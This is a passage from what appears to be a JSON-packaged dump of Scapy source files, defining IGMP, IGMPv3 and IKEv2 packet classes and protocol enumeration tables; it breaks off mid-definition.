of the IGMP object.\"\"\"\n        if isinstance(self.underlayer, IP):\n            return self.underlayer.sprintf(\"IGMP: %IP.src% > %IP.dst% %IGMP.type% %IGMP.gaddr%\")  # noqa: E501\n        else:\n            return self.sprintf(\"IGMP %IGMP.type% %IGMP.gaddr%\")\n\n\nbind_layers(IP, IGMP, frag=0,\n            proto=2,\n            ttl=1)\n"
  },
  {
    "path": "scapy/contrib/igmpv3.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Internet Group Management Protocol v3 (IGMPv3)\n# scapy.contrib.status = loads\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import BitField, ByteEnumField, ByteField, FieldLenField, \\\n    FieldListField, IPField, PacketListField, ShortField, XShortField\nfrom scapy.compat import orb\nfrom scapy.layers.inet import IP\nfrom scapy.contrib.igmp import IGMP\nfrom scapy.config import conf\n\n\"\"\" Based on the following references\n http://www.iana.org/assignments/igmp-type-numbers\n http://www.rfc-editor.org/rfc/pdfrfc/rfc3376.txt.pdf\n\n\"\"\"\n\n# See RFC3376, Section 4. Message Formats for definitions of proper IGMPv3 message format  # noqa: E501\n#   http://www.faqs.org/rfcs/rfc3376.html\n#\n# See RFC4286, For definitions of proper messages for Multicast Router Discovery.  # noqa: E501\n#   http://www.faqs.org/rfcs/rfc4286.html\n#\n\n\nclass IGMPv3(IGMP):\n    \"\"\"IGMP Message Class for v3.\n\n    This class is derived from class Packet.\n    The fields defined below are a\n    direct interpretation of the v3 Membership Query Message.\n    Fields 'type'  through 'qqic' are directly assignable.\n    For 'numsrc', do not assign a value.\n    Instead add to the 'srcaddrs' list to auto-set 'numsrc'. To\n    assign values to 'srcaddrs', use the following methods::\n\n      c = IGMPv3()\n      c.srcaddrs = ['1.2.3.4', '5.6.7.8']\n      c.srcaddrs += ['192.168.10.24']\n\n    At this point, 'c.numsrc' is three (3)\n\n    'chksum' is automagically calculated before the packet is sent.\n\n    'mrcode' is also the Advertisement Interval field\n\n    \"\"\"\n    name = \"IGMPv3\"\n    igmpv3types = {0x11: \"Membership Query\",\n                   0x22: \"Version 3 Membership Report\",\n                   0x30: \"Multicast Router Advertisement\",\n                   0x31: \"Multicast Router Solicitation\",\n                   0x32: \"Multicast Router Termination\"}\n\n    fields_desc = [ByteEnumField(\"type\", 0x11, igmpv3types),\n                   ByteField(\"mrcode\", 20),\n                   XShortField(\"chksum\", None)]\n\n    def encode_maxrespcode(self):\n        \"\"\"Encode and replace the mrcode value to its IGMPv3 encoded time value if needed,  # noqa: E501\n        as specified in rfc3376#section-4.1.1.\n\n        If value < 128, return the value specified. If >= 128, encode as a floating  # noqa: E501\n        point value. Value can be 0 - 31744.\n        \"\"\"\n        value = self.mrcode\n        if value < 128:\n            code = value\n        elif value > 31743:\n            code = 255\n        else:\n            exp = 0\n            value >>= 3\n            while value > 31:\n                exp += 1\n                value >>= 1\n            exp <<= 4\n            code = 0x80 | exp | (value & 0x0F)\n        self.mrcode = code\n\n    def mysummary(self):\n        \"\"\"Display a summary of the IGMPv3 object.\"\"\"\n        if isinstance(self.underlayer, IP):\n            return self.underlayer.sprintf(\"IGMPv3: %IP.src% > %IP.dst% %IGMPv3.type%\")  # noqa: E501\n        else:\n            return self.sprintf(\"IGMPv3 %IGMPv3.type%\")\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 4:\n            if orb(_pkt[0]) in [0x12, 0x16, 0x17]:\n                return IGMP\n            elif orb(_pkt[0]) == 0x11 and len(_pkt) < 12:\n                return IGMP\n        return IGMPv3\n\n\nclass IGMPv3mq(Packet):\n    \"\"\"IGMPv3 Membership Query.\n    Payload of IGMPv3 when type=0x11\"\"\"\n    name = \"IGMPv3mq\"\n    fields_desc = [IPField(\"gaddr\", \"0.0.0.0\"),\n                   BitField(\"resv\", 0, 4),\n                   BitField(\"s\", 0, 1),\n                   BitField(\"qrv\", 0, 3),\n                   ByteField(\"qqic\", 0),\n                   FieldLenField(\"numsrc\", None, count_of=\"srcaddrs\"),\n                   FieldListField(\"srcaddrs\", None, IPField(\"sa\", \"0.0.0.0\"), count_from=lambda x: x.numsrc)]  # noqa: E501\n\n\nclass IGMPv3gr(Packet):\n    \"\"\"IGMP Group Record for IGMPv3 Membership Report\n\n    This class is derived from class Packet and should be added in the records\n    of an instantiation of class IGMPv3mr.\n    \"\"\"\n    name = \"IGMPv3gr\"\n    igmpv3grtypes = {1: \"Mode Is Include\",\n                     2: \"Mode Is Exclude\",\n                     3: \"Change To Include Mode\",\n                     4: \"Change To Exclude Mode\",\n                     5: \"Allow New Sources\",\n                     6: \"Block Old Sources\"}\n\n    fields_desc = [ByteEnumField(\"rtype\", 1, igmpv3grtypes),\n                   ByteField(\"auxdlen\", 0),\n                   FieldLenField(\"numsrc\", None, count_of=\"srcaddrs\"),\n                   IPField(\"maddr\", \"0.0.0.0\"),\n                   FieldListField(\"srcaddrs\", [], IPField(\"sa\", \"0.0.0.0\"), count_from=lambda x: x.numsrc)]  # noqa: E501\n\n    def mysummary(self):\n        \"\"\"Display a summary of the IGMPv3 group record.\"\"\"\n        return self.sprintf(\"IGMPv3 Group Record %IGMPv3gr.type% %IGMPv3gr.maddr%\")  # noqa: E501\n\n    def default_payload_class(self, payload):\n        return conf.padding_layer\n\n\nclass IGMPv3mr(Packet):\n    \"\"\"IGMP Membership Report extension for IGMPv3.\n    Payload of IGMPv3 when type=0x22\"\"\"\n    name = \"IGMPv3mr\"\n    fields_desc = [XShortField(\"res2\", 0),\n                   FieldLenField(\"numgrp\", None, count_of=\"records\"),\n                   PacketListField(\"records\", [], IGMPv3gr, count_from=lambda x: x.numgrp)]  # noqa: E501\n\n\nclass IGMPv3mra(Packet):\n    \"\"\"IGMP Multicast Router Advertisement extension for IGMPv3.\n    Payload of IGMPv3 when type=0x30\"\"\"\n    name = \"IGMPv3mra\"\n    fields_desc = [ShortField(\"qryIntvl\", 0),\n                   ShortField(\"robust\", 0)]\n\n\nbind_layers(IP, IGMPv3, frag=0,\n            proto=2,\n            ttl=1,\n            tos=0xc0,\n            dst='224.0.0.22')\n\nbind_layers(IGMPv3, IGMPv3mq, type=0x11)\nbind_layers(IGMPv3, IGMPv3mr, type=0x22, mrcode=0x0)\nbind_layers(IGMPv3, IGMPv3mra, type=0x30)\n"
  },
  {
    "path": "scapy/contrib/ikev2.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n\"\"\"\nInternet Key Exchange Protocol Version 2 (IKEv2), RFC 7296\n\"\"\"\n\n# scapy.contrib.description = Internet Key Exchange Protocol Version 2 (IKEv2), RFC 7296\n# scapy.contrib.status = loads\n\nimport struct\n\n\n# Modified from the original ISAKMP code by Yaron Sheffer <yaronf.ietf@gmail.com>, June 2010.  # noqa: E501\n\nfrom scapy.packet import (\n    Packet,\n    Raw,\n    bind_bottom_up,\n    bind_layers,\n    bind_top_down,\n    split_bottom_up,\n)\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    ConditionalField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IP6Field,\n    IPField,\n    IntField,\n    MultiEnumField,\n    MultipleTypeField,\n    PacketField,\n    PacketLenField,\n    PacketListField,\n    ShortEnumField,\n    ShortField,\n    StrLenField,\n    X3BytesField,\n    XByteField,\n    XStrFixedLenField,\n    XStrLenField,\n)\nfrom scapy.layers.x509 import X509_Cert, X509_CRL\nfrom scapy.layers.inet import IP, UDP\nfrom scapy.layers.ipsec import NON_ESP\nfrom scapy.layers.isakmp import ISAKMP\nfrom scapy.sendrecv import sr\nfrom scapy.config import conf\nfrom scapy.volatile import RandString\n\n# see https://www.iana.org/assignments/ikev2-parameters for details\nIKEv2AttributeTypes = {\n    1: (\n        \"Encryption\",\n        {\n            1: \"DES-IV64\",\n            2: \"DES\",\n            3: \"3DES\",\n            4: \"RC5\",\n            5: \"IDEA\",\n            6: \"CAST\",\n            7: \"Blowfish\",\n            8: \"3IDEA\",\n            9: \"DES-IV32\",\n            12: \"AES-CBC\",\n            13: \"AES-CTR\",\n            14: \"AES-CCM-8\",\n            15: \"AES-CCM-12\",\n            16: \"AES-CCM-16\",\n            18: \"AES-GCM-8ICV\",\n            19: \"AES-GCM-12ICV\",\n            20: \"AES-GCM-16ICV\",\n            23: \"Camellia-CBC\",\n            24: \"Camellia-CTR\",\n            25: \"Camellia-CCM-8ICV\",\n            26: \"Camellia-CCM-12ICV\",\n            27: \"Camellia-CCM-16ICV\",\n            28: \"ChaCha20-Poly1305\",\n            32: \"Kuzneychik-MGM-KTREE\",\n            33: \"MAGMA-MGM-KTREE\",\n        }\n    ),\n    2: (\n        \"PRF\",\n        {\n            1: \"PRF_HMAC_MD5\",\n            2: \"PRF_HMAC_SHA1\",\n            3: \"PRF_HMAC_TIGER\",\n            4: \"PRF_AES128_XCBC\",\n            5: \"PRF_HMAC_SHA2_256\",\n            6: \"PRF_HMAC_SHA2_384\",\n            7: \"PRF_HMAC_SHA2_512\",\n            8: \"PRF_AES128_CMAC\",\n            9: \"PRF_HMAC_STREEBOG_512\",\n        }\n    ),\n    3: (\n        \"Integrity\",\n        {\n            1: \"HMAC-MD5-96\",\n            2: \"HMAC-SHA1-96\",\n            3: \"DES-MAC\",\n            4: \"KPDK-MD5\",\n            5: \"AES-XCBC-96\",\n            6: \"HMAC-MD5-128\",\n            7: \"HMAC-SHA1-160\",\n            8: \"AES-CMAC-96\",\n            9: \"AES-128-GMAC\",\n            10: \"AES-192-GMAC\",\n            11: \"AES-256-GMAC\",\n            12: \"SHA2-256-128\",\n            13: \"SHA2-384-192\",\n            14: \"SHA2-512-256\",\n        }\n    ),\n    4: (\n        \"GroupDesc\",\n        {\n            1: \"768MODPgr\",\n            2: \"1024MODPgr\",\n            5: \"1536MODPgr\",\n            14: \"2048MODPgr\",\n            15: \"3072MODPgr\",\n            16: \"4096MODPgr\",\n            17: \"6144MODPgr\",\n            18: \"8192MODPgr\",\n            19: \"256randECPgr\",\n            20: \"384randECPgr\",\n            21: \"521randECPgr\",\n            22: \"1024MODP160POSgr\",\n            23: \"2048MODP224POSgr\",\n            24: \"2048MODP256POSgr\",\n            25: \"192randECPgr\",\n            26: \"224randECPgr\",\n            27: \"brainpoolP224r1gr\",\n            28: \"brainpoolP256r1gr\",\n            29: \"brainpoolP384r1gr\",\n            30: \"brainpoolP512r1gr\",\n            31: \"curve25519gr\",\n            32: \"curve448gr\",\n            33: \"GOST3410_2012_256\",\n            34: \"GOST3410_2012_512\",\n        }\n    ),\n    5: (\n        \"Extended Sequence Number\",\n        {\n            0: \"No ESN\",\n            1: \"ESN\"\n        }\n    ),\n}\n\nIKEv2TransformTypes = {\n    tf_num: tf_name for tf_name, (tf_num, _) in IKEv2AttributeTypes.items()\n}\n\nIKEv2TransformAlgorithms = {\n    tf_num: tf_dict for tf_num, (_, tf_dict) in IKEv2AttributeTypes.items()\n}\n\nIKEv2ProtocolTypes = {\n    1: \"IKE\",\n    2: \"AH\",\n    3: \"ESP\"\n}\n\nIKEv2AuthenticationTypes = {\n    0: \"Reserved\",\n    1: \"RSA Digital Signature\",\n    2: \"Shared Key Message Integrity Code\",\n    3: \"DSS Digital Signature\",\n    9: \"ECDSA with SHA-256 on the P-256 curve\",\n    10: \"ECDSA with SHA-384 on the P-384 curve\",\n    11: \"ECDSA with SHA-512 on the P-521 curve\",\n    12: \"Generic Secure Password Authentication Method\",\n    13: \"NULL Authentication\",\n    14: \"Digital Signature\"\n}\n\nIKEv2NotifyMessageTypes = {\n    1: \"UNSUPPORTED_CRITICAL_PAYLOAD\",\n    4: \"INVALID_IKE_SPI\",\n    5: \"INVALID_MAJOR_VERSION\",\n    7: \"INVALID_SYNTAX\",\n    9: \"INVALID_MESSAGE_ID\",\n    11: \"INVALID_SPI\",\n    14: \"NO_PROPOSAL_CHOSEN\",\n    17: \"INVALID_KE_PAYLOAD\",\n    24: \"AUTHENTICATION_FAILED\",\n    34: \"SINGLE_PAIR_REQUIRED\",\n    35: \"NO_ADDITIONAL_SAS\",\n    36: \"INTERNAL_ADDRESS_FAILURE\",\n    37: \"FAILED_CP_REQUIRED\",\n    38: \"TS_UNACCEPTABLE\",\n    39: \"INVALID_SELECTORS\",\n    40: \"UNACCEPTABLE_ADDRESSES\",\n    41: \"UNEXPECTED_NAT_DETECTED\",\n    42: \"USE_ASSIGNED_HoA\",\n    43: \"TEMPORARY_FAILURE\",\n    44: \"CHILD_SA_NOT_FOUND\",\n    45: \"INVALID_GROUP_ID\",\n    46: \"AUTHORIZATION_FAILED\",\n    47: \"NOTIFY_STATE_NOT_FOUND\",\n    16384: \"INITIAL_CONTACT\",\n    16385: \"SET_WINDOW_SIZE\",\n    16386: \"ADDITIONAL_TS_POSSIBLE\",\n    16387: \"IPCOMP_SUPPORTED\",\n    16388: \"NAT_DETECTION_SOURCE_IP\",\n    16389: \"NAT_DETECTION_DESTINATION_IP\",\n    16390: \"COOKIE\",\n    16391: \"USE_TRANSPORT_MODE\",\n    16392: \"HTTP_CERT_LOOKUP_SUPPORTED\",\n    16393: \"REKEY_SA\",\n    16394: \"ESP_TFC_PADDING_NOT_SUPPORTED\",\n    16395: \"NON_FIRST_FRAGMENTS_ALSO\",\n    16396: \"MOBIKE_SUPPORTED\",\n    16397: \"ADDITIONAL_IP4_ADDRESS\",\n    16398: \"ADDITIONAL_IP6_ADDRESS\",\n    16399: \"NO_ADDITIONAL_ADDRESSES\",\n    16400: \"UPDATE_SA_ADDRESSES\",\n    16401: \"COOKIE2\",\n    16402: \"NO_NATS_ALLOWED\",\n    16403: \"AUTH_LIFETIME\",\n    16404: \"MULTIPLE_AUTH_SUPPORTED\",\n    16405: \"ANOTHER_AUTH_FOLLOWS\",\n    16406: \"REDIRECT_SUPPORTED\",\n    16407: \"REDIRECT\",\n    16408: \"REDIRECTED_FROM\",\n    16409: \"TICKET_LT_OPAQUE\",\n    16410: \"TICKET_REQUEST\",\n    16411: \"TICKET_ACK\",\n    16412: \"TICKET_NACK\",\n    16413: \"TICKET_OPAQUE\",\n    16414: \"LINK_ID\",\n    16415: \"USE_WESP_MODE\",\n    16416: \"ROHC_SUPPORTED\",\n    16417: \"EAP_ONLY_AUTHENTICATION\",\n    16418: \"CHILDLESS_IKEV2_SUPPORTED\",\n    16419: \"QUICK_CRASH_DETECTION\",\n    16420: \"IKEV2_MESSAGE_ID_SYNC_SUPPORTED\",\n    16421: \"IPSEC_REPLAY_COUNTER_SYNC_SUPPORTED\",\n    16422: \"IKEV2_MESSAGE_ID_SYNC\",\n    16423: \"IPSEC_REPLAY_COUNTER_SYNC\",\n    16424: \"SECURE_PASSWORD_METHODS\",\n    16425: \"PSK_PERSIST\",\n    16426: \"PSK_CONFIRM\",\n    16427: \"ERX_SUPPORTED\",\n    16428: \"IFOM_CAPABILITY\",\n    16429: \"SENDER_REQUEST_ID\",\n    16430: \"IKEV2_FRAGMENTATION_SUPPORTED\",\n    16431: \"SIGNATURE_HASH_ALGORITHMS\",\n    16432: \"CLONE_IKE_SA_SUPPORTED\",\n    16433: \"CLONE_IKE_SA\",\n    16434: \"IV2_NOTIFY_PUZZLE\",\n    16435: \"IV2_NOTIFY_USE_PPK\",\n    16436: \"IV2_NOTIFY_PPK_IDENTITY\",\n    16437: \"IV2_NOTIFY_NO_PPK_AUTH\",\n    16438: \"IV2_NOTIFY_INTERMEDIATE_EXCHANGE_SUPPORTED\",\n    16439: \"IV2_NOTIFY_IP4_ALLOWED\",\n    16440: \"IV2_NOTIFY_IP6_ALLOWED\",\n    16441: \"IV2_NOTIFY_ADDITIONAL_KEY_EXCHANGE\",\n    16442: \"IV2_NOTIFY_USE_AGGFRAG\",\n}\n\nIKEv2GatewayIDTypes = {\n    1: \"IPv4_addr\",\n    2: \"IPv6_addr\",\n    3: \"FQDN\"\n}\n\nIKEv2CertificateEncodings = {\n    1: \"PKCS #7 wrapped X.509 certificate\",\n    2: \"PGP Certificate\",\n    3: \"DNS Signed Key\",\n    4: \"X.509 Certificate - Signature\",\n    6: \"Kerberos Token\",\n    7: \"Certificate Revocation List (CRL)\",\n    8: \"Authority Revocation List (ARL)\",\n    9: \"SPKI Certificate\",\n    10: \"X.509 Certificate - Attribute\",\n    11: \"Raw RSA Key\",\n    12: \"Hash and URL of X.509 certificate\",\n    13: \"Hash and URL of X.509 bundle\"\n}\n\nIKEv2TrafficSelectorTypes = {\n    7: \"TS_IPV4_ADDR_RANGE\",\n    8: \"TS_IPV6_ADDR_RANGE\",\n    9: \"TS_FC_ADDR_RANGE\"\n}\n\nIKEv2ConfigurationPayloadCFGTypes = {\n    1: \"CFG_REQUEST\",\n    2: \"CFG_REPLY\",\n    3: \"CFG_SET\",\n    4: \"CFG_ACK\"\n}\n\nIKEv2ConfigurationAttributeTypes = {\n    1: \"INTERNAL_IP4_ADDRESS\",\n    2: \"INTERNAL_IP4_NETMASK\",\n    3: \"INTERNAL_IP4_DNS\",\n    4: \"INTERNAL_IP4_NBNS\",\n    6: \"INTERNAL_IP4_DHCP\",\n    7: \"APPLICATION_VERSION\",\n    8: \"INTERNAL_IP6_ADDRESS\",\n    10: \"INTERNAL_IP6_DNS\",\n    12: \"INTERNAL_IP6_DHCP\",\n    13: \"INTERNAL_IP4_SUBNET\",\n    14: \"SUPPORTED_ATTRIBUTES\",\n    15: \"INTERNAL_IP6_SUBNET\",\n    16: \"MIP6_HOME_PREFIX\",\n    17: \"INTERNAL_IP6_LINK\",\n    18: \"INTERNAL_IP6_PREFIX\",\n    19: \"HOME_AGENT_ADDRESS\",\n    20: \"P_CSCF_IP4_ADDRESS\",\n    21: \"P_CSCF_IP6_ADDRESS\",\n    22: \"FTT_KAT\",\n    23: \"EXTERNAL_SOURCE_IP4_NAT_INFO\",\n    24: \"TIMEOUT_PERIOD_FOR_LIVENESS_CHECK\",\n    25: \"INTERNAL_DNS_DOMAIN\",\n    26: \"INTERNAL_DNSSEC_TA\"\n}\n\nIPProtocolIDs = {\n    0: \"All protocols\",\n    1: \"Internet Control Message Protocol\",\n    2: \"Internet Group Management Protocol\",\n    3: \"Gateway-to-Gateway Protocol\",\n    4: \"IP in IP (encapsulation)\",\n    5: \"Internet Stream Protocol\",\n    6: \"Transmission Control Protocol\",\n    7: \"Core-based trees\",\n    8: \"Exterior Gateway Protocol\",\n    9: \"Interior Gateway Protocol (any private interior gateway (used by Cisco for their IGRP))\",  # noqa: E501\n    10: \"BBN RCC Monitoring\",\n    11: \"Network Voice Protocol\",\n    12: \"Xerox PUP\",\n    13: \"ARGUS\",\n    14: \"EMCON\",\n    15: \"Cross Net Debugger\",\n    16: \"Chaos\",\n    17: \"User Datagram Protocol\",\n    18: \"Multiplexing\",\n    19: \"DCN Measurement Subsystems\",\n    20: \"Host Monitoring Protocol\",\n    21: \"Packet Radio Measurement\",\n    22: \"XEROX NS IDP\",\n    23: \"Trunk-1\",\n    24: \"Trunk-2\",\n    25: \"Leaf-1\",\n    26: \"Leaf-2\",\n    27: \"Reliable Datagram Protocol\",\n    28: \"Internet Reliable Transaction Protocol\",\n    29: \"ISO Transport Protocol Class 4\",\n    30: \"Bulk Data Transfer Protocol\",\n    31: \"MFE Network Services Protocol\",\n    32: \"MERIT Internodal Protocol\",\n    33: \"Datagram Congestion Control Protocol\",\n    34: \"Third Party Connect Protocol\",\n    35: \"Inter-Domain Policy Routing Protocol\",\n    36: \"Xpress Transport Protocol\",\n    37: \"Datagram Delivery Protocol\",\n    38: \"IDPR Control Message Transport Protocol\",\n    39: \"TP++ Transport Protocol\",\n    40: \"IL Transport Protocol\",\n    41: \"IPv6 Encapsulation\",\n    42: \"Source Demand Routing Protocol\",\n    43: \"Routing Header for IPv6\",\n    44: \"Fragment Header for IPv6\",\n    45: \"Inter-Domain Routing Protocol\",\n    46: \"Resource Reservation Protocol\",\n    47: \"Generic Routing Encapsulation\",\n    48: \"Mobile Host Routing Protocol\",\n    49: \"BNA\",\n    50: \"Encapsulating Security Payload\",\n    51: \"Authentication Header\",\n    52: \"Integrated Net Layer Security Protocol\",\n    53: \"SwIPe\",\n    54: \"NBMA Address Resolution Protocol\",\n    55: \"IP Mobility (Min Encap)\",\n    56: \"Transport Layer Security Protocol (using Kryptonet key management)\",\n    57: \"Simple Key-Management for Internet Protocol\",\n    58: \"ICMP for IPv6\",\n    59: \"No Next Header for IPv6\",\n    60: \"Destination Options for IPv6\",\n    61: \"Any host internal protocol\",\n    62: \"CFTP\",\n    63: \"Any local network\",\n    64: \"SATNET and Backroom EXPAK\",\n    65: \"Kryptolan\",\n    66: \"MIT Remote Virtual Disk Protocol\",\n    67: \"Internet Pluribus Packet Core\",\n    68: \"Any distributed file system\",\n    69: \"SATNET Monitoring\",\n    70: \"VISA Protocol\",\n    71: \"Internet Packet Core Utility\",\n    72: \"Computer Protocol Network Executive\",\n    73: \"Computer Protocol Heart Beat\",\n    74: \"Wang Span Network\",\n    75: \"Packet Video Protocol\",\n    76: \"Backroom SATNET Monitoring\",\n    77: \"SUN ND PROTOCOL-Temporary\",\n    78: \"WIDEBAND Monitoring\",\n    79: \"WIDEBAND EXPAK\",\n    80: \"International Organization for Standardization Internet Protocol\",\n    81: \"Versatile Message Transaction Protocol\",\n    82: \"Secure Versatile Message Transaction Protocol\",\n    83: \"VINES\",\n    84: \"Internet Protocol Traffic Manager\",\n    85: \"NSFNET-IGP\",\n    86: \"Dissimilar Gateway Protocol\",\n    87: \"TCF\",\n    88: \"EIGRP\",\n    89: \"Open Shortest Path First\",\n    90: \"Sprite RPC Protocol\",\n    91: \"Locus Address Resolution Protocol\",\n    92: \"Multicast Transport Protocol\",\n    93: \"AX.25\",\n    94: \"IP-within-IP Encapsulation Protocol\",\n    95: \"Mobile Internetworking Control Protocol\",\n    96: \"Semaphore Communications Sec. Pro\",\n    97: \"Ethernet-within-IP Encapsulation\",\n    98: \"Encapsulation Header\",\n    99: \"Any private encryption scheme\",\n    100: \"GMTP\",\n    101: \"Ipsilon Flow Management Protocol\",\n    102: \"PNNI over IP\",\n    103: \"Protocol Independent Multicast\",\n    104: \"IBM's ARIS (Aggregate Route IP Switching) Protocol\",\n    105: \"SCPS (Space Communications Protocol Standards)\",\n    106: \"QNX\",\n    107: \"Active Networks\",\n    108: \"IP Payload Compression Protocol\",\n    109: \"Sitara Networks Protocol\",\n    110: \"Compaq Peer Protocol\",\n    111: \"IPX in IP\",\n    112: \"Virtual Router Redundancy Protocol, Common Address Redundancy Protocol (not IANA assigned)\",  # noqa: E501\n    113: \"PGM Reliable Transport Protocol\",\n    114: \"Any 0-hop protocol\",\n    115: \"Layer Two Tunneling Protocol Version 3\",\n    116: \"D-II Data Exchange (DDX)\",\n    117: \"Interactive Agent Transfer Protocol\",\n    118: \"Schedule Transfer Protocol\",\n    119: \"SpectraLink Radio Protocol\",\n    120: \"Universal Transport Interface Protocol\",\n    121: \"Simple Message Protocol\",\n    122: \"Simple Multicast Protocol\",\n    123: \"Performance Transparency Protocol\",\n    124: \"Intermediate System to Intermediate System (IS-IS) Protocol over IPv4\",  # noqa: E501\n    125: \"Flexible Intra-AS Routing Environment\",\n    126: \"Combat Radio Transport Protocol\",\n    127: \"Combat Radio User Datagram\",\n    128: \"Service-Specific Connection-Oriented Protocol in a Multilink and Connectionless Environment\",  # noqa: E501\n    129: \"IPLT\",\n    130: \"Secure Packet Shield\",\n    131: \"Private IP Encapsulation within IP\",\n    132: \"Stream Control Transmission Protocol\",\n    133: \"Fibre Channel\",\n    134: \"Reservation Protocol (RSVP) End-to-End Ignore\",\n    135: \"Mobility Extension Header for IPv6\",\n    136: \"Lightweight User Datagram Protocol\",\n    137: \"Multiprotocol Label Switching Encapsulated in IP\",\n    138: \"MANET Protocols\",\n    139: \"Host Identity Protocol\",\n    140: \"Site Multihoming by IPv6 Intermediation\",\n    141: \"Wrapped Encapsulating Security Payload\",\n    142: \"Robust Header Compression\",\n}\n\nIKEv2PayloadTypes = {\n    0: \"None\",\n    2: \"Proposal\",   # used only inside the SA payload\n    3: \"Transform\",  # used only inside the SA payload\n    33: \"SA\",\n    34: \"KE\",\n    35: \"IDi\",\n    36: \"IDr\",\n    37: \"CERT\",\n    38: \"CERTREQ\",\n    39: \"AUTH\",\n    40: \"Nonce\",\n    41: \"Notify\",\n    42: \"Delete\",\n    43: \"VendorID\",\n    44: \"TSi\",\n    45: \"TSr\",\n    46: \"Encrypted\",\n    47: \"CP\",\n    48: \"EAP\",\n    49: \"GSPM\",\n    50: \"IDg\",\n    51: \"GSA\",\n    52: \"KD\",\n    53: \"Encrypted_Fragment\",\n    54: \"PS\"\n}\n\n\nIKEv2ExchangeTypes = {\n    34: \"IKE_SA_INIT\",\n    35: \"IKE_AUTH\",\n    36: \"CREATE_CHILD_SA\",\n    37: \"INFORMATIONAL\",\n    38: \"IKE_SESSION_RESUME\",\n    43: \"IKE_INTERMEDIATE\"\n}\n\n\nclass _IKEv2_Packet(Packet):\n    def default_payload_class(self, payload):\n        return IKEv2_Payload if self.next_payload else conf.raw_layer\n\n\nclass IKEv2(_IKEv2_Packet):  # rfc4306\n    name = \"IKEv2\"\n    fields_desc = [\n        XStrFixedLenField(\"init_SPI\", \"\", 8),\n        XStrFixedLenField(\"resp_SPI\", \"\", 8),\n        ByteEnumField(\"next_payload\", 0, IKEv2PayloadTypes),\n        XByteField(\"version\", 0x20),\n        ByteEnumField(\"exch_type\", 0, IKEv2ExchangeTypes),\n        FlagsField(\"flags\", 0, 8, [\"res0\", \"res1\", \"res2\", \"Initiator\", \"Version\", \"Response\", \"res6\", \"res7\"]),  # noqa: E501\n        IntField(\"id\", 0),\n        IntField(\"length\", None)  # Length of total message: packets + all payloads  # noqa: E501\n    ]\n\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 18:\n            version = struct.unpack(\"!B\", _pkt[17:18])[0]\n            if version < 0x20:\n                return ISAKMP\n        return cls\n\n    def answers(self, other):\n        if isinstance(other, IKEv2):\n            if other.init_SPI == self.init_SPI:\n                return 1\n        return 0\n\n    def post_build(self, p, pay):\n        p += pay\n        if self.length is None:\n            p = p[:24] + struct.pack(\"!I\", len(p)) + p[28:]\n        return p\n\n\nclass IKEv2_Key_Length_Attribute(IntField):\n    # We only support the fixed-length Key Length attribute (the only one currently defined)  # noqa: E501\n    def __init__(self, name):\n        IntField.__init__(self, name, 0x800E0000)\n\n    def i2h(self, pkt, x):\n        return IntField.i2h(self, pkt, x & 0xFFFF)\n\n    def h2i(self, pkt, x):\n        return IntField.h2i(self, pkt, (x if x is not None else 0) | 0x800E0000)  # noqa: E501\n\n\nclass IKEv2_Payload(_IKEv2_Packet):\n    name = \"IKEv2 Payload\"\n    fields_desc = [\n        ByteEnumField(\"next_payload\", None, IKEv2PayloadTypes),\n        FlagsField(\"flags\", 0, 8, {0x80: \"critical\"}),\n        ShortField(\"length\", None),\n        XStrLenField(\"load\", \"\", length_from=lambda pkt: pkt.length - 4),\n    ]\n\n    def post_build(self, pkt, pay):\n        if self.length is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt)) + pkt[4:]\n        return pkt + pay\n\n\nclass IKEv2_Transform(IKEv2_Payload):\n    name = \"IKEv2 Transform\"\n    fields_desc = IKEv2_Payload.fields_desc[:2] + [\n        ShortField(\"length\", 8),  # can't be None, because 'key_length' depends on it\n        ByteEnumField(\"transform_type\", None, IKEv2TransformTypes),\n        ByteField(\"res2\", 0),\n        MultiEnumField(\"transform_id\", None, IKEv2TransformAlgorithms, depends_on=lambda pkt: pkt.transform_type, fmt=\"H\"),  # noqa: E501\n        ConditionalField(IKEv2_Key_Length_Attribute(\"key_length\"), lambda pkt: pkt.length > 8),  # noqa: E501\n    ]\n\n\nclass IKEv2_Proposal(IKEv2_Payload):\n    name = \"IKEv2 Proposal\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteField(\"proposal\", 1),\n        ByteEnumField(\"proto\", 1, IKEv2ProtocolTypes),\n        FieldLenField(\"SPIsize\", None, \"SPI\", \"B\"),\n        ByteField(\"trans_nb\", None),\n        XStrLenField(\"SPI\", \"\", length_from=lambda pkt: pkt.SPIsize),\n        PacketLenField(\"trans\", conf.raw_layer(), IKEv2_Transform, length_from=lambda pkt: pkt.length - 8 - pkt.SPIsize),  # noqa: E501\n    ]\n\n\nclass IKEv2_AUTH(IKEv2_Payload):\n    name = \"IKEv2 Authentication\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        ByteEnumField(\"auth_type\", None, IKEv2AuthenticationTypes),\n        X3BytesField(\"res2\", 0),\n        XStrLenField(\"load\", \"\", length_from=lambda pkt: pkt.length - 8),\n    ]\n\n\nclass IKEv2_VendorID(IKEv2_Payload):\n    name = \"IKEv2 Vendor ID\"\n    fields_desc = IKEv2_Payload.fields_desc[:3] + [\n        XStrLenField(\"vendorID\", \"\", length_from=lambda pkt: pkt.length - 4),\n    ]\n\n\nclass TrafficSelector(Packet):\n    @classmethod\n    def dispatch_hook(cls, _pkt=None, *args, **kargs):\n        if _pkt and len(_pkt) >= 16:\n            ts_type = struct.unpack(\"!B\", _pkt[0:1])[0]\n            if ts_type == 7:\n                return IPv4TrafficSelector\n            elif ts_type == 8:\n                return IPv6TrafficSelector\n            elif ts_type == 9:\n                return EncryptedTrafficSelector\n            else:\n                return RawTrafficSelector\n        return IPv4TrafficSelector\n\n    def extract_padding(self, s):\n        return '', s\n\n\nclass IPv4TrafficSelector(TrafficSelector):\n    name = \"IKEv2 IPv4 Traffic Selector\"\n    fields_desc = [\n        